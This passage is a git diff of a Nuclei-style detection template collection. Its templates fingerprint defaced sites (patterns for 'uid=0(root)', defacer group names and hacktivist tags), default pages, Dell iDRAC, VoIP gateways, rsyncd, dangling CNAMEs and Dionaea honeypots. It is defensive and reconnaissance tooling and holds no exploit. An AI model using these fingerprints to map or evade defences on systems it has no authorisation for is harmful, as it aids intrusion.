'.{0,5}(?i)\buid=0(root).?gid=0(root).?groups=0(root)\b.{0,5}' + - '.{0,5}(?i)\bh(a|4)x(o|0)r\b.{0,5}' + - '.{0,5}(?i)\bHack.Team\b.{0,5}' + - '.{0,5}(?i)\bpwnted.?(by)?\b.{0,5}' + - '.{0,5}(?i)\bBUY.WEBSHELL\b.{0,5}' + - '.{0,5}(?i)\bHello.Admin\b.{0,5}' + - '.{0,5}(?i)\bShootz\b.{0,5}' + - '.{0,5}(?i)\bTouched\sby\b.{0,5}' + - '.{0,5}(?i)\bHas.*been.*hacked\b.{0,5}' + - '.{0,5}(?i)\bStamped\sBy\b.{0,5}' + + - type: regex + part: body + name: spamdexing + regex: + - '.{0,5}(?i)\bcialis\b.{0,5}' + - '.{0,5}(?i)\btadacip\b.{0,5}' + - '.{0,5}(?i)\bpurinethol\b.{0,5}' + - '.{0,5}(?i)\bbactrim\b.{0,5}' + - '.{0,5}(?i)\bfemale-cialis\b.{0,5}' + - '.{0,5}(?i)\btoprol-xl\b.{0,5}' + - '.{0,5}(?i)\bbupropion\b.{0,5}' + - '.{0,5}(?i)\blevitra\b.{0,5}' + - '.{0,5}(?i)\bfeldene\b.{0,5}' + - '.{0,5}(?i)\bapcalis\b.{0,5}' + - '.{0,5}(?i)\batacand\b.{0,5}' + - '.{0,5}(?i)\bzerit\b.{0,5}' + - '.{0,5}(?i)\bisordil\b.{0,5}' + - '.{0,5}(?i)\bviagra-soft\b.{0,5}' + - '.{0,5}(?i)\bdanazol\b.{0,5}' + - '.{0,5}(?i)\blasix\b.{0,5}' + - '.{0,5}(?i)\bapcalis-sx\b.{0,5}' + - '.{0,5}(?i)\btadalafil\b.{0,5}' + - '.{0,5}(?i)\bviagra-jelly\b.{0,5}' + - '.{0,5}(?i)\btadalis-sx\b.{0,5}' + - '.{0,5}(?i)\btelmisartan\b.{0,5}' + - '.{0,5}(?i)\bcialis-soft\b.{0,5}' + - '.{0,5}(?i)\brevia\b.{0,5}' + - '.{0,5}(?i)\bcardura\b.{0,5}' + - '.{0,5}(?i)\bfempro\b.{0,5}' + - '.{0,5}(?i)\bfemale-viagra\b.{0,5}' + - '.{0,5}(?i)\berectalis\b.{0,5}' + - '.{0,5}(?i)\bforzest\b.{0,5}' + - '.{0,5}(?i)\bisoptin-sr\b.{0,5}' + - '.{0,5}(?i)\bkamagra-soft\b.{0,5}' + - '.{0,5}(?i)\blioresal\b.{0,5}' + - '.{0,5}(?i)\bneoral\b.{0,5}' + - '.{0,5}(?i)\bcytoxan\b.{0,5}' + - '.{0,5}(?i)\bphenytoin\b.{0,5}' + - '.{0,5}(?i)\bvibramycin\b.{0,5}' + - '.{0,5}(?i)\binstant.fortune\b.{0,5}' + - '.{0,5}(?i)\win.the.lottery\b.{0,5}' + - '.{0,5}(?i)\bwin.the.lotto\b.{0,5}' + - '.{0,5}(?i)\bcassino\b.{0,5}' + + - type: regex + part: body + name: zone-h-top-50 + regex: + - '.{0,5}(?i)\bHmei7\b.{0,5}' + - '.{0,5}(?i)\bd3b~x\b.{0,5}' + - '.{0,5}(?i)\bIndex Php\b.{0,5}' + - '.{0,5}(?i)\biskorpitx\b.{0,5}' + - '.{0,5}(?i)\bchinafans\b.{0,5}' + - '.{0,5}(?i)\bSejeal\b.{0,5}' + - '.{0,5}(?i)\b1923Turk\b.{0,5}' + - '.{0,5}(?i)\bmuhmademad\b.{0,5}' + - '.{0,5}(?i)\bTeam_CC\b.{0,5}' + - '.{0,5}(?i)\bimam\b.{0,5}' + - '.{0,5}(?i)\bmisafir\b.{0,5}' + - '.{0,5}(?i)\bZoRRoKiN\b.{0,5}' + - '.{0,5}(?i)\bpanataran\b.{0,5}' + - '.{0,5}(?i)\bGHoST61\b.{0,5}' + - '.{0,5}(?i)\bAshiyane Digital Security Team\b.{0,5}' + - '.{0,5}(?i)\bFatal Error\b.{0,5}' + - '.{0,5}(?i)\bErrOr SquaD\b.{0,5}' + - '.{0,5}(?i)\bw4l3xzy3\b.{0,5}' + - '.{0,5}(?i)\bBD GREY HAT HACKERS\b.{0,5}' + - '.{0,5}(?i)\bSA3D HaCk3D\b.{0,5}' + - '.{0,5}(?i)\bjok3r\b.{0,5}' + - '.{0,5}(?i)\bHighTech\b.{0,5}' + - '.{0,5}(?i)\bMr.Kro0oz\b.{0,5}' + - '.{0,5}(?i)\bTheWayEnd\b.{0,5}' + - '.{0,5}(?i)\bLUN4T1C0\b.{0,5}' + - '.{0,5}(?i)\bKaMtiEz\b.{0,5}' + - '.{0,5}(?i)\bHolaKo\b.{0,5}' + - '.{0,5}(?i)\bMiSh\b.{0,5}' + - '.{0,5}(?i)\bMister Spy\b.{0,5}' + - '.{0,5}(?i)\bClash Hackers\b.{0,5}' + - '.{0,5}(?i)\bKkK1337\b.{0,5}' + - '.{0,5}(?i)\bKuroi\b.{0,5}' + - '.{0,5}(?i)\bBALA SNIPER\b.{0,5}' + - '.{0,5}(?i)\bRayzky_\b.{0,5}' + - '.{0,5}(?i)\bRXR\b.{0,5}' + - '.{0,5}(?i)\bTOP-TEAM\b.{0,5}' + - '.{0,5}(?i)\bMagelang6etar\b.{0,5}' + - '.{0,5}(?i)\bifactoryx\b.{0,5}' + - '.{0,5}(?i)\bthe_warri0r\b.{0,5}' + - '.{0,5}(?i)\bRed Eye\b.{0,5}' + - '.{0,5}(?i)\bdarkshadow-tn\b.{0,5}' + - '.{0,5}(?i)\bs13doeL\b.{0,5}' + - '.{0,5}(?i)\bFallaga Team\b.{0,5}' + - '.{0,5}(?i)\bulow\b.{0,5}' + - '.{0,5}(?i)\bSPYKIDS\b.{0,5}' + - '.{0,5}(?i)\bCyb3r_Sw0rd\b.{0,5}' + - '.{0,5}(?i)\blinuXploit_crew\b.{0,5}' + - '.{0,5}(?i)\bIr4dex 735\b.{0,5}' + - '.{0,5}(?i)\bKingSam\b.{0,5}' + + - type: regex + part: body + name: other-groups-attacker + regex: + - '.{0,5}(?i)\bLapsus$\b.{0,5}' + - '.{0,5}(?i)\bLulzSec\b.{0,5}' + - '.{0,5}(?i)\bmilw0rm\b.{0,5}' + - '.{0,5}(?i)\bNoName05\b.{0,5}' + - '.{0,5}(?i)\bAnonymousSudan\b.{0,5}' + - '.{0,5}(?i)\bAnon_by\b.{0,5}' + - '.{0,5}(?i)\bAnonGhost\b.{0,5}' + - '.{0,5}(?i)\bTeam.Insane\b.{0,5}' + - '.{0,5}(?i)\bEagle Cyber\b.{0,5}' + + - type: regex + part: body + name: hacktivism-operation + regex: + - '.{0,5}(?i)\bOpIsrael\b.{0,5}' + - '.{0,5}(?i)\bOpRussia\b.{0,5}' + - '.{0,5}(?i)\bOpIran\b.{0,5}' + - '.{0,5}(?i)\bOpPhilippines\b.{0,5}' + - '.{0,5}(?i)\bOpAustralia\b.{0,5}' + - '.{0,5}(?i)\bAnonymousItalia\b.{0,5}' + - '.{0,5}(?i)\bStopRussia\b.{0,5}' + - '.{0,5}(?i)\bStopInvasion\b.{0,5}' + - '.{0,5}(?i)\bWe.are.legion\b.{0,5}' + - '.{0,5}(?i)\bAnonOps\b.{0,5}' + - '.{0,5}(?i)\bOpGOP\b.{0,5}' + - '.{0,5}(?i)\bOpStonewall\b.{0,5}' + - '.{0,5}(?i)\bTangoDown\b.{0,5}' + + payloads: + path: + - / + - /old + - /ssh + - /tmp + - /uploads + - /index.html + - /index.php + - /indexx.html + - /defaced.html + - /readme.html + - /readme.php + - /kurd.html + - /kurd1943.html + - /evil.html + - /ghost.htm + - /pwnd.html + - /pwn.html + - /hacked.html + - /hacked.txt + - /1.php + - /1.txt + - /1.html + - /a.htm + - /a.html + - /a.php + - /V.txt + - /0day.txt + - /1337.txt + - /r00t.php + - /root.html + - /id.htm + - /by.html + - /by.htm + - /me.php + - /o.htm + - /O.html + - /a.php + - /a.html + - /z.php + - /zz.txt + - /z.txt + - /M.html + - /ie.txt + - /xxx.html + - /x.txt + - /logs.txt + - /ownz.html + - /update_note.txt + - /k.html + - /y.txt + - /T.html + - /ts.html + - /tr.html + - /core.html + - /el.htm + - /ie.htm + - /si.html + - /sad.html + - /fake.html + - /broken.html + - /buy.html + - /access.php + - /info.php + - /jquery.php + - /news.php + - /services.php + - /boxed.php + - /main.php + - /pbw.txt + - /aw.txt + - /hx.txt + - /vz.txt + - /cl.html + - /asi.html + - /public + - /cache + - /info.txt + - /ir.html + - /me.html + - /px.html + - /px.php + - /F.html + - /frost.txt + - /-.txt + - /!.txt +# digest: 4a0a00473045022100a121574bdd704d284d1675f8721914e3c675e5c66a64c266753135d55836c43502206ab7dff5cb3dad67f1cb2e163b6c7d49d464498f2b1195d03bd3629a7a056f1f:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/default-detect-generic-6838.yaml b/poc/detect/default-detect-generic-6838.yaml index c2615d8247..974585c135 100644 --- a/poc/detect/default-detect-generic-6838.yaml +++ b/poc/detect/default-detect-generic-6838.yaml @@ -3,23 +3,20 @@ id: default-detect-generic info: name: Default Web Application Detection author: andydoering - severity: info description: Catch-all for detecting default installations of web applications using common phrases found in default install pages - metadata: - max-request: 1 + severity: info tags: tech -http: +requests: - method: GET path: - "{{BaseURL}}" matchers: + - type: word part: body condition: or words: - "Default" - - "Welcome to" - -# digest: 4b0a00483046022100b36329fd7c77736d36f0e288df0f7f0404bfd91749fbb10eedacf5c3d813aa02022100b36f877c50304470553877f37bb6bd481bccc6ae954e6ffefe3be0e4b5ed8c7f:922c64590222798bb761d5b6d8e72950 + - "Welcome to" \ No newline at end of file diff --git a/poc/detect/default-detect-generic-6839.yaml b/poc/detect/default-detect-generic-6839.yaml deleted file mode 100644 index 2ff5c46a41..0000000000 --- a/poc/detect/default-detect-generic-6839.yaml +++ /dev/null @@ -1,22 +0,0 @@ -id: default-detect-generic - -info: - name: Default Web Application Detection - author: andydoering - severity: info - description: Catch-all for detecting default installations of web applications using common phrases found in default install pages - tags: tech - -requests: - - method: GET - path: - - "{{BaseURL}}" - - matchers: - - - type: word - part: body - condition: or - words: - - "Default" - - "Welcome to" \ No newline at end of file diff --git a/poc/detect/dell-idrac6-detect-6919.yaml b/poc/detect/dell-idrac6-detect-6919.yaml index 8f1472c476..7467531d62 100644 --- a/poc/detect/dell-idrac6-detect-6919.yaml +++ b/poc/detect/dell-idrac6-detect-6919.yaml @@ -5,11 +5,9 @@ info: author: kophjager007 severity: info description: The Integrated Dell Remote Access Controller (iDRAC) is designed for secure local and remote server management and helps IT administrators deploy, update and monitor Dell EMC PowerEdge servers. - metadata: - max-request: 1 tags: tech,dell -http: +requests: - method: GET path: - "{{BaseURL}}/data?get=prodServerGen" @@ -19,7 +17,6 @@ http: - type: status status: - 200 - - type: word part: body words: @@ -30,5 +27,3 @@ http: part: body regex: - '[0-9]{2}G' - -# digest: 4a0a004730450220283fa25ac03ee38103aa389830151cd8e7c9466c71a194d9974cd365c6d9abe00221008fc14399d8ac168e497a07720074ab3a1f217f7b87dc517ca12461d9ab4420de:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/dell-idrac6-detect.yaml b/poc/detect/dell-idrac6-detect.yaml new file mode 100644 index 0000000000..ebca549e38 --- /dev/null +++ b/poc/detect/dell-idrac6-detect.yaml @@ -0,0 +1,25 @@ +id: dell-idrac6-detect +info: + name: Detect Dell iDRAC6 + author: kophjager007 + severity: info + description: The Integrated Dell Remote Access Controller (iDRAC) is designed for secure local and remote server management and helps IT administrators deploy, update and monitor Dell EMC PowerEdge servers. + tags: tech,dell +requests: + - method: GET + path: + - "{{BaseURL}}/data?get=prodServerGen" + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + part: body + words: + - "11G" + extractors: + - type: regex + part: body + regex: + - '[0-9]{2}G' diff --git a/poc/detect/dell-idrac9-detect-6937.yaml b/poc/detect/dell-idrac9-detect-6937.yaml deleted file mode 100644 index f165ac02ae..0000000000 --- a/poc/detect/dell-idrac9-detect-6937.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: dell-idrac9-detect - -info: - name: Detect Dell iDRAC9 - author: kophjager007 - severity: info - description: The Integrated Dell Remote Access Controller (iDRAC) is designed for secure local and remote server management and helps IT administrators deploy, update and monitor Dell EMC PowerEdge servers. - tags: tech,dell - -requests: - - method: GET - path: - - "{{BaseURL}}/sysmgmt/2015/bmc/info" # Firmware Version and other info (iDRAC9) - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - "BuildVersion" - - "SystemModelName" - - extractors: - - type: regex - part: body - regex: - - '[0-9]{2}G' - - - type: regex - part: body - group: 1 - regex: - - '"FwVer" *: *"([^"]+)"' diff --git a/poc/detect/dell-idrac9-detect-6939.yaml b/poc/detect/dell-idrac9-detect-6939.yaml deleted file mode 100644 index 35314569b8..0000000000 --- a/poc/detect/dell-idrac9-detect-6939.yaml +++ /dev/null @@ -1,40 +0,0 @@ -id: dell-idrac9-detect - -info: - name: Detect Dell iDRAC9 - author: kophjager007 - severity: info - description: The Integrated Dell Remote Access Controller (iDRAC) is designed for secure local and remote server management and helps IT administrators deploy, update and monitor Dell EMC PowerEdge servers. - metadata: - max-request: 1 - tags: tech,dell - -http: - - method: GET - path: - - "{{BaseURL}}/sysmgmt/2015/bmc/info" # Firmware Version and other info (iDRAC9) - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - "BuildVersion" - - "SystemModelName" - - extractors: - - type: regex - part: body - regex: - - '[0-9]{2}G' - - - type: regex - part: body - group: 1 - regex: - - '"FwVer" *: *"([^"]+)"' - -# digest: 4b0a00483046022100d9cf0a824be72820360925a8335e8024137172307f4c72e569d44f8ece7bd3b7022100de49a97a18a1b05fb78f9af1a36073ca443dc70c5917baf85b5fca56a4fa58de:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/detect-addpac-voip-gateway-6963.yaml b/poc/detect/detect-addpac-voip-gateway-6963.yaml new file mode 100644 index 0000000000..ab6397c908 --- /dev/null +++ b/poc/detect/detect-addpac-voip-gateway-6963.yaml @@ -0,0 +1,30 @@ +id: detect-addpac-voip-gateway + +info: + name: Detect AddPac Technology GSM VoIP Gateway + reference: http://www.addpac.com/addpac_eng2/down.php?file=505_f16.pdf + author: geeknik + severity: info + tags: network,addpac,apos + +network: + - inputs: + - data: '00' + type: hex + + host: + - "{{Hostname}}" + - "{{Hostname}}:23" + + matchers: + - type: word + words: + - "Welcome" + - "APOS(tm)" + - "User Access Verification" + condition: and + + extractors: + - type: regex + regex: + - 'Kernel Version \d\.\d\d\.\d\d\d' diff --git a/poc/detect/detect-addpac-voip-gateway-6965.yaml b/poc/detect/detect-addpac-voip-gateway-6965.yaml deleted file mode 100644 index 9691d398fd..0000000000 --- a/poc/detect/detect-addpac-voip-gateway-6965.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: detect-addpac-voip-gateway - -info: - name: Detect AddPac Technology GSM VoIP Gateway - author: geeknik - severity: info - reference: - - http://www.addpac.com/addpac_eng2/down.php?file=505_f16.pdf - tags: network,addpac,apos,voip - -network: - - inputs: - - data: '00' - type: hex - - host: - - "{{Hostname}}" - - "{{Host}}:23" - - matchers: - - type: word - words: - - "Welcome" - - "APOS(tm)" - - "User Access Verification" - condition: and - - extractors: - - type: regex - regex: - - 'Kernel Version \d\.\d\d\.\d\d\d' diff --git a/poc/detect/detect-addpac-voip-gateway.yaml b/poc/detect/detect-addpac-voip-gateway.yaml new file mode 100644 index 0000000000..96c383b8aa --- /dev/null +++ b/poc/detect/detect-addpac-voip-gateway.yaml @@ -0,0 +1,39 @@ +id: detect-addpac-voip-gateway + +info: + name: AddPac GSM VoIP Gateway Panel - Detect + author: geeknik + severity: info + description: | + AddPac GSM VoIP Gateway panel was detected. + reference: + - http://www.addpac.com/addpac_eng2/down.php?file=505_f16.pdf + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cwe-id: CWE-200 + metadata: + max-request: 1 + tags: network,addpac,apos,voip,detect + +tcp: + - inputs: + - data: '00' + type: hex + + host: + - "{{Hostname}}" + port: 23 + + matchers: + - type: word + words: + - "Welcome" + - "APOS(tm)" + - "User Access Verification" + condition: and + + extractors: + - type: regex + regex: + - 'Kernel Version \d\.\d\d\.\d\d\d' +# digest: 4a0a00473045022100a23ee51376f67d271da980d5135bba04a4ae006bc56042d6663a3e5e21549c2e02203d919c2e69638a0b4f568085d73a980f89aa60423d421feb54b38124148568c3:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/detect-dangling-cname.yaml b/poc/detect/detect-dangling-cname.yaml new file mode 100644 index 0000000000..053e8816a9 --- /dev/null +++ b/poc/detect/detect-dangling-cname.yaml @@ -0,0 +1,34 @@ +id: detect-dangling-cname + +info: + name: Detect Dangling cname + author: pdteam,nytr0gen + severity: info + tags: dns,takeover + reference: | + - https://securitytrails.com/blog/subdomain-takeover-tips + - https://nominetcyber.com/dangling-dns-is-no-laughing-matter/ + - https://nabeelxy.medium.com/dangling-dns-records-are-a-real-vulnerability-361f2a29d37f + - https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover + +dns: + - name: "{{FQDN}}" + type: A + class: inet + recursion: true + retries: 3 + matchers-condition: and + matchers: + - type: word + words: + - "NXDOMAIN" + + - type: word + words: + - "IN\tCNAME" + + extractors: + - type: regex + group: 1 + regex: + - "IN\tCNAME\t(.+)" diff --git a/poc/detect/detect-dns-over-https-6969.yaml b/poc/detect/detect-dns-over-https-6969.yaml deleted file mode 100644 index 8ac33de078..0000000000 --- a/poc/detect/detect-dns-over-https-6969.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: detect-dns-over-https - -info: - name: Detect DNS over HTTPS - author: geeknik - reference: - - https://developers.google.com/speed/public-dns/docs/doh/ - - https://developers.cloudflare.com/1.1.1.1/dns-over-https/wireformat - severity: info - tags: dns,doh,misc - -requests: - - method: GET - path: - - "{{BaseURL}}/dns-query?dns=q80BAAABAAAAAAAAA3d3dwdleGFtcGxlA2NvbQAAAQAB" - headers: - Accept: application/dns-message - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - part: header - words: - - "application/dns-message" - - - type: regex - part: header - regex: - - "(C|c)ontent-(L|l)ength: 49" diff --git a/poc/detect/detect-jabber-xmpp-6974.yaml b/poc/detect/detect-jabber-xmpp-6974.yaml deleted file mode 100644 index d1a6d4b20e..0000000000 --- a/poc/detect/detect-jabber-xmpp-6974.yaml +++ /dev/null @@ -1,24 +0,0 @@ -id: detect-jabber-xmpp - -info: - name: Detects Jabber XMPP Instance - author: geeknik - severity: info - description: Jabber is the original name of the Extensible Messaging and Presence Protocol (XMPP), the open technology for instant messaging and presence. - reference: https://datatracker.ietf.org/doc/html/rfc6120 - tags: network,jabber,xmpp,messaging - -network: - - inputs: - - data: "a\n" - - host: - - "{{Hostname}}" - - "{{Host}}:5222" - - matchers: - - type: word - words: - - "stream:stream xmlns:stream" - - "stream:error xmlns:stream" - condition: or diff --git a/poc/detect/detect-jabber-xmpp.yaml b/poc/detect/detect-jabber-xmpp.yaml index fd3850ad2d..d8ecc79c8d 100644 --- a/poc/detect/detect-jabber-xmpp.yaml +++ b/poc/detect/detect-jabber-xmpp.yaml @@ -1,20 +1,31 @@ id: detect-jabber-xmpp + info: - name: Detects Jabber XMPP Instance + name: Jabber XMPP Protocol - Detect author: geeknik severity: info - description: Jabber is the original name of the Extensible Messaging and Presence Protocol (XMPP), the open technology for instant messaging and presence. - reference: https://datatracker.ietf.org/doc/html/rfc6120 - tags: network,jabber,xmpp,messaging -network: + description: Jabber XMPP protocol was detected. + reference: + - https://datatracker.ietf.org/doc/html/rfc6120 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cwe-id: CWE-200 + metadata: + max-request: 1 + tags: network,jabber,xmpp,messaging,detect + +tcp: - inputs: - data: "a\n" + host: - "{{Hostname}}" - - "{{Host}}:5222" + port: 5222 + matchers: - type: word words: - "stream:stream xmlns:stream" - "stream:error xmlns:stream" condition: or +# digest: 490a0046304402206512e881fe1cf26bd5bf616d72ae7223ccfc93cc51967fc2559339e1ccd541f502207e172bf475353930b94507558c10ff56ec3b63d7650ea00105f6468da07f1071:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/detect-rsyncd-6979.yaml b/poc/detect/detect-rsyncd-6979.yaml new file mode 100644 index 0000000000..3083708997 --- /dev/null +++ b/poc/detect/detect-rsyncd-6979.yaml @@ -0,0 +1,28 @@ +id: detect-rsyncd + +info: + name: Detect rsyncd + reference: https://linux.die.net/man/1/rsync + author: vsh00t,geeknik + severity: info + tags: network,rsyncd + +network: + - inputs: + - data: "?\r\n" + + host: + - "{{Hostname}}" + - "{{Hostname}}:873" + + matchers: + - type: word + words: + - "RSYNCD: " + - "ERROR: protocol startup error" + condition: and + + extractors: + - type: regex + regex: + - 'RSYNCD: \d\d.\d' diff --git a/poc/detect/detect-rsyncd-6980.yaml b/poc/detect/detect-rsyncd-6980.yaml deleted file mode 100644 index 5dd5a819c5..0000000000 --- a/poc/detect/detect-rsyncd-6980.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: detect-rsyncd - -info: - name: Detect rsyncd - reference: https://linux.die.net/man/1/rsync - author: vsh00t,geeknik - severity: info - tags: network,rsyncd - -network: - - inputs: - - data: "?\r\n" - - host: - - "{{Hostname}}" - - "{{Host}}:873" - - matchers: - - type: word - words: - - "RSYNCD: " - - "ERROR: protocol startup error" - condition: and - - extractors: - - type: regex - regex: - - 'RSYNCD: \d\d.\d' diff --git a/poc/detect/detect-rsyncd-6982.yaml b/poc/detect/detect-rsyncd-6982.yaml deleted file mode 100644 index 4057e38d30..0000000000 --- a/poc/detect/detect-rsyncd-6982.yaml +++ /dev/null @@ -1,27 +0,0 @@ -id: detect-rsyncd - -info: - name: Detect rsyncd - reference: https://linux.die.net/man/1/rsync - author: geeknik - severity: info - tags: network,rsyncd - -network: - - inputs: - - data: "?\r\n" - - host: - - "{{Hostname}}" - - "{{Hostname}}:873" - - matchers: - - type: word - words: - - "RSYNCD: " - - "ERROR: protocol startup error" - condition: and - extractors: - - type: regex - regex: - - 'RSYNCD: \d\d.\d' diff --git a/poc/detect/detect-rsyncd.yaml b/poc/detect/detect-rsyncd.yaml index 3083708997..4057e38d30 100644 --- a/poc/detect/detect-rsyncd.yaml +++ b/poc/detect/detect-rsyncd.yaml @@ -3,7 +3,7 @@ id: detect-rsyncd info: name: Detect rsyncd reference: https://linux.die.net/man/1/rsync - author: vsh00t,geeknik + author: geeknik severity: info tags: network,rsyncd @@ -21,7 +21,6 @@ network: - "RSYNCD: " - "ERROR: protocol startup error" condition: and - extractors: - type: regex regex: diff --git a/poc/detect/detect-sentry.yaml b/poc/detect/detect-sentry-6983.yaml similarity index 100% rename from poc/detect/detect-sentry.yaml rename to poc/detect/detect-sentry-6983.yaml diff --git a/poc/detect/detect-sentry-6985.yaml b/poc/detect/detect-sentry-6985.yaml deleted file mode 100644 index dadbcb0bfb..0000000000 --- a/poc/detect/detect-sentry-6985.yaml +++ /dev/null @@ -1,21 +0,0 @@ -id: detect-sentry - -info: - name: Detect Sentry Instance - author: Sicksec - severity: info - tags: ssrf,sentry,tech - reference: - - https://hackerone.com/reports/374737 - - https://twitter.com/itsecurityguard/status/1127893545619218432?lang=en - -requests: - - method: GET - path: - - "{{BaseURL}}" - - extractors: - - type: regex - part: body - regex: - - "https://[0-9a-f]*@[a-z0-9]+\\.[a-z.]+.?[0-9]+" diff --git a/poc/detect/dionaea-ftp-honeypot-detect.yaml b/poc/detect/dionaea-ftp-honeypot-detect.yaml new file mode 100644 index 0000000000..b32d00318a --- /dev/null +++ b/poc/detect/dionaea-ftp-honeypot-detect.yaml @@ -0,0 +1,32 @@ +id: dionaea-ftp-honeypot-detect + +info: + name: Dionaea FTP Honeypot - Detect + author: UnaPibaGeek + severity: info + description: | + A Dionaea FTP honeypot has been identified. + The response to the 'PASS' command differs from real installations, signaling a possible deceptive setup. + metadata: + max-request: 1 + product: ftp + vendor: dionaea + tags: dionaea,ftp,honeypot,ir,cti,network + +tcp: + - inputs: + - data: "USER root\r\n" + read: 1024 + - data: "PASS \r\n" + read: 1024 + + host: + - "{{Hostname}}" + port: 21 + read-size: 2048 + + matchers: + - type: word + words: + - "500 Syntax error: PASS requires an argument" +# digest: 4a0a00473045022100be0bb8582adcb69d0a589e8b3bb74fb8825d78af640609d2860515e9b2f72778022016f5b38a618ef9825c8699f330f74d0ee4a896fc553f15b16d6ed10ef2a29238:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/dionaea-http-honeypot-detect.yaml b/poc/detect/dionaea-http-honeypot-detect.yaml new file mode 100644 index 0000000000..5b2257cce5 --- /dev/null +++ b/poc/detect/dionaea-http-honeypot-detect.yaml @@ -0,0 +1,40 @@ +id: dionaea-http-honeypot-detect + +info: + name: Dionaea HTTP Honeypot - Detect + author: UnaPibaGeek + severity: info + description: | + Dionaea HTTP honeypot has been identified. + The response to an incorrect HTTP method reveals a possible setup of the Dioanea web application honeypot. + metadata: + max-request: 1 + vendor: dionaea + product: http + tags: dionaea,honeypot,ir,cti + +http: + - raw: + - | + AAAA / HTTP/1.1 + Host: {{Hostname}} + + unsafe: true + + matchers-condition: and + matchers: + - type: status + status: + - 501 + + - type: word + part: header + words: + - "nginx" + + - type: word + part: body + words: + - '' + +# digest: 4a0a00473045022100882cfcbeb68848cd81c48a8170dc7d171efe8a06229a294f1a29f37ffa786b0002205a67f53fbd5246db953b5753bda9896c9b4ca9d7dd2c52ad8647de3781195d53:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/dionaea-mqtt-honeypot-detect.yaml b/poc/detect/dionaea-mqtt-honeypot-detect.yaml new file mode 100644 index 0000000000..4c7ab44734 --- /dev/null +++ b/poc/detect/dionaea-mqtt-honeypot-detect.yaml @@ -0,0 +1,32 @@ +id: dionaea-mqtt-honeypot-detect + +info: + name: Dionaea MQTT Honeypot - Detect + author: UnaPibaGeek + severity: info + description: | + A Dionaea MQTT honeypot has been identified. + The response to a MQTTv5 packet differs from real installations, signaling a possible deceptive setup. + metadata: + max-request: 1 + product: mqtt + shodan-query: product:"MQTT" + vendor: dionaea + verified: true + tags: dionaea,mqtt,honeypot,ir,cti,network + +tcp: + - inputs: + - data: "101000044d5154540502003c032100140000" + type: hex + + host: + - "{{Hostname}}" + port: 1883 + read-size: 1024 + + matchers: + - type: binary + binary: + - "20020000" +# digest: 4a0a0047304502207ca41b9211ec28d969cf94bfdc895e675c57ebf96e08edb9f2e26d7f16273dde022100f25194d88c3f7c2534b9f6c2784011a123614aacd228d19e96b659af8c9f2315:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/dionaea-mysql-honeypot-detect.yaml b/poc/detect/dionaea-mysql-honeypot-detect.yaml new file mode 100644 index 0000000000..6cdc4bab52 --- /dev/null +++ b/poc/detect/dionaea-mysql-honeypot-detect.yaml @@ -0,0 +1,34 @@ +id: dionaea-mysql-honeypot-detect + +info: + name: Dionaea MySQL Honeypot - Detect + author: UnaPibaGeek + severity: info + description: | + A MySQL honeypot has been identified. + The response to a connection command differs from real installations, signaling a possible deceptive setup. + metadata: + max-request: 1 + product: mysql + vendor: dionaea + tags: dionaea,mysql,honeypot,ir,cti,network + +tcp: + - inputs: + - data: "\x4a\x00\x00\x00\x0a\x35\x2e\x31\x2e\x32\x39\x00\x0b\x00\x00\x00\x21\x3e\x34\x1b\x51\x3f\x34\x33\x60\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + host: + - "{{Hostname}}" + port: 3306 + read-size: 1024 + + matchers-condition: and + matchers: + - type: word + words: + - "5.7.16" + + - type: word + words: + - "aaaaaaaa" +# digest: 4b0a00483046022100eb041d1ba42ba51c23e691ea05f46717944ab8dd19b6921b7c14acb089a169f8022100efab67dfab1c44bfd975d2bfdc8a1c8aef6e5e2d58766138ea79c6be10982f35:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/dionaea-smb-honeypot-detect.yaml b/poc/detect/dionaea-smb-honeypot-detect.yaml new file mode 100644 index 0000000000..49d89e5226 --- /dev/null +++ b/poc/detect/dionaea-smb-honeypot-detect.yaml @@ -0,0 +1,31 @@ +id: dionaea-smb-honeypot-detect + +info: + name: Dionaea SMB Honeypot - Detect + author: UnaPibaGeek + severity: info + description: | + A Dionaea SMB honeypot has been identified. + The response to an SMB connection packet differs from real installations, signaling a possible deceptive setup. + metadata: + max-request: 1 + shodan-query: port:445 + vendor: dionaea + product: dionaea + tags: dionaea,smb,honeypot,ir,cti,network + +tcp: + - inputs: + - data: "00000045ff534d4272000000000801c8000000000000000000000000ffff0100ffff0000002200024e54204c4d20302e31320002534d4220322e3030320002534d4220322e3f3f3f00" + type: hex + + host: + - "{{Hostname}}" + port: 445 + read-size: 1024 + + matchers: + - type: binary + binary: + - "6538547e6c42" +# digest: 4a0a00473045022100e676a0de719c4c450a0970ec59a91edd0b34e2e9b032e7c9479f94c3094694d702206b12ba3ec71bb42eb89d1b4fb11187558f8003a4ae48e3a8361bc139006b0594:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/dns-waf-detect-7054.yaml b/poc/detect/dns-waf-detect-7054.yaml deleted file mode 100644 index d6752592dc..0000000000 --- a/poc/detect/dns-waf-detect-7054.yaml +++ /dev/null @@ -1,171 +0,0 @@ -id: dns-waf-detect - -info: - name: DNS WAF Detection - author: lu4nx - severity: info - description: A DNS WAF was detected. - classification: - cwe-id: CWE-200 - tags: tech,waf,dns - -dns: - - name: 